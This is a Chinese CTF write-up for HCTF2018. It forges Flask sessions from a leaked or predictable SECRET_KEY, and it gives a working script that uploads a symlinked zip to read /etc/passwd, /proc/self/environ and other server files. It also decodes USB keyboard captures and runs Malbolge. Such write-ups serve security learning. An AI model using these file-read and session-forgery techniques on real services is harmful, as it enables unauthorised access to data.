HCTF2018 WriteUp

发表于 2018 年 11 月 12 日


和师傅们肝了两天, 最后排名 25, 看看一堆没做出来的题, 感到自己深深的菜…

0x01 admin

在改密码的地方有 hint, 

得到源码后第一个发现的是可能存在条件竞争, 题目里面是先将 session 里面的 name 给改了再去验证密码的

但之后发现 flask 不是像 php 一样将 session 保存在服务端, 而是保存在 cookies 里面的, 所以这里其实是不存在条件竞争的. 最后发现其实 SECRET_KEY 已经给我们了, 完全可以伪造 session.

这里估计是怕太明显, environ 里面是没 SECRET_KEY 的 (看了其他的 WriteUp 其实就是出题人环境没配好 233), 所以直接用 cjk123 就可以了. 在 github 上可以找到用 SECRET_KEY 来生成 session 的小工具, 先解码看看结构后改一下 name 就可以了. 最后把现在的换成生成的 session 访问 index 就可以 get flag 了, 不过这 flag… 是我们非预期解还是这个题目是中间没做完强行改了一下放出来的 0.0

0x02 hide and seek

通过 cookie 可以看出来跟上一题一样是 flask, 题目这么强调 zipfile, 所以肯定跟这个有关, 在谷歌上搜到一个通过在里面加 ../../../file 的文件来导致目录穿越的, 但是试了下并没有用. 最后还是师傅想到用软链试试, 结果正是如此, 可以通过软链来任意文件读取, 但比较麻烦的是不像 php, 直接在 URL 上就给你文件名, 我们得想办法把文件名给找到读出源码才能下一步. 这里写个 python 脚本来简化我们的工作

 1import zipfile
 2import requests
 3
 4
 5z_info = zipfile.ZipInfo("symlink")
 6z_info.external_attr = 2717843456 # Magic Number. Meaning this is a symlink.
 7z_file = zipfile.ZipFile("test.zip", mode="w")
 8z_file.writestr(z_info, f"/etc/passwd")
 9z_file.close()
10
11cookie = open("pysession").read()
12sess = requests.session()
13sess.cookies["session"] = cookie
14
15
16files = {
17    "the_file" : ("test.zip", open("test.zip", "rb"), "application/zip"),
18}
19
20res = sess.post("http://hideandseek.2018.hctf.io/upload", files=files)
21
22if res.text:
23    print(res.text)
24
25open("pysession", "w").write(sess.cookies["session"])

/etc/passwd 换成想读的文件就可以了, 需要提前将一个登陆过的 session 写在 pysession 里面. 然后在这里困了挺久, 读了一圈系统配置也没找到提示, 最后师傅想到可以爆破 /proc/{pid}/environ 来爆破自己这个进程的环境变量来得到 UWSGI_INI 位置 (后来知道其实 /proc/self/environ 就可以了 不用爆破), 我们得到的是

 1UWSGI_CHEAPER=2
 2LANG=C.UTF-8
 3HOSTNAME=309ee00b10f9
 4NJS_VERSION=1.13.12.0.2.0-1~stretch
 5GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
 6UWSGI_PROCESSES=16
 7LISTEN_PORT=80
 8NGINX_VERSION=1.13.12-1~stretch
 9PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
10STATIC_URL=/
11staticHOME=/root
12NGINX_WORKER_PROCESSES=auto
13STATIC_INDEX=0PYTHON_VERSION=3.6.6
14SHLVL=0
15PYTHONPATH=/app
16NGINX_MAX_UPLOAD=0
17PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
18UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
19STATIC_PATH=/app/static
20PYTHON_PIP_VERSION=18.1

INI 中有个 module 值, 就是 py 脚本的位置, 我们得到的值是 hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main, 可以想到文件路径就是 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py, 得到

 1# -*- coding: utf-8 -*-
 2from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
 3import uuid
 4import base64
 5import random
 6import flag
 7from werkzeug.utils import secure_filename
 8import os
 9random.seed(uuid.getnode())
10app = Flask(__name__)
11app.config['SECRET_KEY'] = str(random.random()*100)
12app.config['UPLOAD_FOLDER'] = './uploads'
13app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
14ALLOWED_EXTENSIONS = set(['zip'])
15
16def allowed_file(filename):
17    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
18
19
20@app.route('/', methods=['GET'])
21def index():
22    error = request.args.get('error', '')
23    if(error == '1'):
24        session.pop('username', None)
25        return render_template('index.html', forbidden=1)
26
27    if 'username' in session:
28        return render_template('index.html', user=session['username'], flag=flag.flag)
29    else:
30        return render_template('index.html')
31
32
33@app.route('/login', methods=['POST'])
34def login():
35    username=request.form['username']
36    password=request.form['password']
37    if request.method == 'POST' and username != '' and password != '':
38        if(username == 'admin'):
39            return redirect(url_for('index',error=1))
40        session['username'] = username
41    return redirect(url_for('index'))
42
43
44@app.route('/logout', methods=['GET'])
45def logout():
46    session.pop('username', None)
47    return redirect(url_for('index'))
48
49@app.route('/upload', methods=['POST'])
50def upload_file():
51    if 'the_file' not in request.files:
52        return redirect(url_for('index'))
53    file = request.files['the_file']
54    if file.filename == '':
55        return redirect(url_for('index'))
56    if file and allowed_file(file.filename):
57        filename = secure_filename(file.filename)
58        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
59        if(os.path.exists(file_save_path)):
60            return 'This file already exists'
61        file.save(file_save_path)
62    else:
63        return 'This file is not a zipfile'
64
65
66    try:
67        extract_path = file_save_path + '_'
68        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
69        read_obj = os.popen('cat ' + extract_path + '/*')
70        file = read_obj.read()
71        read_obj.close()
72        os.system('rm -rf ' + extract_path)
73    except Exception as e:
74        file = None
75
76    os.remove(file_save_path)
77    if(file != None):
78        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
79            return redirect(url_for('index', error=1))
80    return Response(file)
81
82
83if __name__ == '__main__':
84    #app.run(debug=True)
85    app.run(host='127.0.0.1', debug=True, port=10008)

尝试读了一下 flag.py, 得到的却是一个 html 文件… 好吧看来不是这个意思, 看来出题人是把它放在 site-package 之类的地方了, 但是这就真的是大海捞针了, 不太可能通过直接读源码的方式找到 flag. 想想上一题, 或许也可能是通过得到 SECRET_KEY 的方式来伪造 session, 看了下对应的代码, 发现

1random.seed(uuid.getnode())
2app = Flask(__name__)
3app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode() 返回的是网卡 MAC 地址, 也就是说 SECRET_KEY 其实是一个可以预测的值, 我们可以通过读取 /sys/class/net/eth0/address 来得到 MAC 地址 12:34:3e:14:7c:62

1>>> int(0x12343e147c62)
220015589129314
3>>> import random
4>>> random.seed(20015589129314)
5>>> str(random.random()*100)
6'11.935137566861131' # SECRET_KEY

之后伪造成为 admin 就可以了, flag get

0x03 xor game

直接丢到 featherduster 就出了原文, xor 一下 flag get

0x04 freq game

感觉师傅懒得写 writeup 233, 帮他说一下吧, 主要是用 傅里叶变换 将他给的 list, 还原成原来的四个值后再还原成 freq 就可以了, 说着简单但想想写起来就很烦…

0x05 difficult programming language

拿到流量包, 感觉就像是键盘的 usb 信号, 用 tshark 提取出来后, 找到一个外国人写的脚本稍微改一下, 还原一下输入的字符

 1usb_codes = {
 2   0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
 3   0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
 4   0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
 5   0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
 6   0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
 7   0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
 8   0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
 9   0x33: ";:", 0x34: "'\"", 0x36: ",<", 0x37: ".>", 0x4f: ">", 0x50: "<",
10   0x35: "`~", 0x38: "/?", 0x31: "\\|"
11   }
12lines = ["","","","",""]
13
14pos = 0
15for x in open("dpl","r").readlines():
16   code = int(x[6:8],16)
17
18   if code == 0:
19       continue
20   # newline or down arrow - move down
21   if code == 0x51 or code == 0x28:
22       pos += 1
23       continue
24   # up arrow - move up
25   if code == 0x52:
26       pos -= 1
27       continue
28   # select the character based on the Shift key
29   if int(x[0:2],16) == 2:
30       lines[pos] += usb_codes[code][1]
31   else:
32       lines[pos] += usb_codes[code][0]
33
34
35for x in lines:
36   print x

得到了

1D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~c

因为之前做了科大的 hackergame 感觉出来是 malbolge, 把最后的 c 删掉就可以跑了, 运行一下就得到 flag.